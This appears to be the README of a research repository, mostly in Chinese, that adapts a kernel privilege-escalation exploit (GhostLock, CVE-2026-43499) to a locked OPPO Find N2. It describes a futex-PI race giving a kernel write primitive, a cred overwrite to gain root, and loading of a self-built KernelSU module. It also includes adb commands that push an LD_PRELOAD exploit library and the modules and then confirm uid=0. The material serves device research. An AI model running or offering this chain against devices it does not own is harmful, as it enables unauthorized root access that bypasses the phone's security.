OPPO Find N2 GhostLock(CVE-2026-43499)漏洞利用适配
在已锁定的 OPPO Find N2 上实现 KernelSU 延迟加载——完整链路,自建 LKM,无需解锁引导加载程序。
futex-PI 写入原语 → cred 覆盖 → 修复 ADRP 溢出 → kernelsu.ko 运行
一条完整且可用的研究链路,可将自行编译的 KernelSU 内核模块加载到
出厂状态、OTA 锁定的 OPPO Find N2(PGU110 / SM8475) 中——最终实现
su -c id → uid=0 … context=u:r:ksu:s0,同时 SELinux 保持 Enforcing 状态。
lkm-build/ 中的所有内容(加载器、符号墙 shim、构建系统)均为本仓库的原创
工作;用户态漏洞利用是 matisse 框架的 GPL-3.0 移植版本,已适配
此设备(参见 NOTICE)。
① futex PI requeue race → kernel write primitive (GhostLock, CVE-2026-43499)
② task->cred = &init_cred → CapEff 0000000000000000 → 000001ffffffffff
③ gate check → capable() ✓ SELinux ✓ domain ✓ (the wall was never here)
④ finit_module → R_AARCH64_ADR_PREL_PG_HI21 overflow ← the real wall
fixed by -mcmodel=large: reloc-275 1497 → 0
⑤ kernelsu.ko live → /system/bin/su · u:r:ksu:s0 · SELinux Enforcing
| 写入原语 | 在设备上观察到 CapEff: 000001ffffffffff(3/3 次运行) |
| 重定位修复 | type-275 计数 1497 → 0(已验证 ELF .rela 直方图) |
| 符号墙 | TRIM_UNUSED_KSYMS 削减了 49 个符号 → kprobe 引导 + 前向定义 → 0 个未定义 |
| SCM 门控 | scmversion 固定为 g74d132f4467a,字节精确 |
| 稳定性 | 预检门控 + 减压配方;最终运行时间 27h+ 零崩溃 |
# 1) kernel modules are built by GitHub Actions (build-lkm.yml) — download artifacts,
# or build locally:
KSRC=<vendor-tree> KSU=<KernelSU> CLANG=<clang12> CONFIG=config-5.10.236 \
bash lkm-build/build-lkm.sh
# 2) stage-A write primitive (userland)
adb push exploit-v29/build/oppo-find_n2/bin/preload.so /data/local/tmp/preload29.so
adb shell "LD_PRELOAD=/data/local/tmp/preload29.so /system/bin/toybox id" # uid=0
# 3) stage-B late-load
adb push lkm-build/out/ksu_min_load.ko lkm-build/out/kernelsu.ko /data/local/tmp/
# 4) verify
adb shell "su -c id" # uid=0 … context=u:r:ksu:s0
adb shell "grep kernelsu /proc/modules" # kernelsu … Live
exploit-v29/ userland exploit (matisse port, GPL-3.0) + Find-N2 offsets
lkm-build/ ★ original build system: loader · symbol shim · CI scripts
analysis-scripts/ ELF / symbol / offset tooling
test-programs/ standalone PoC probes (C sources only)
docs/ research notes · evidence logs · handoff snapshots
RESEARCH.md ★ full technical write-up (§1–§10)
每一个死胡同、dmesg 输出行和修复方案都记录在 RESEARCH.md 中—— 包括为什么权限门从来都不是问题、ADRP 溢出是如何被发现 并消除的,以及 5.10.246 OTA 之后发生了什么变化。
exploit-v29/ 的上游项目lkm-build/minload/
为原创实现,对比见 RESEARCH.md §8lkm-build/、文档、脚本:GPL-2.0-only · exploit-v29/:GPL-3.0(上游)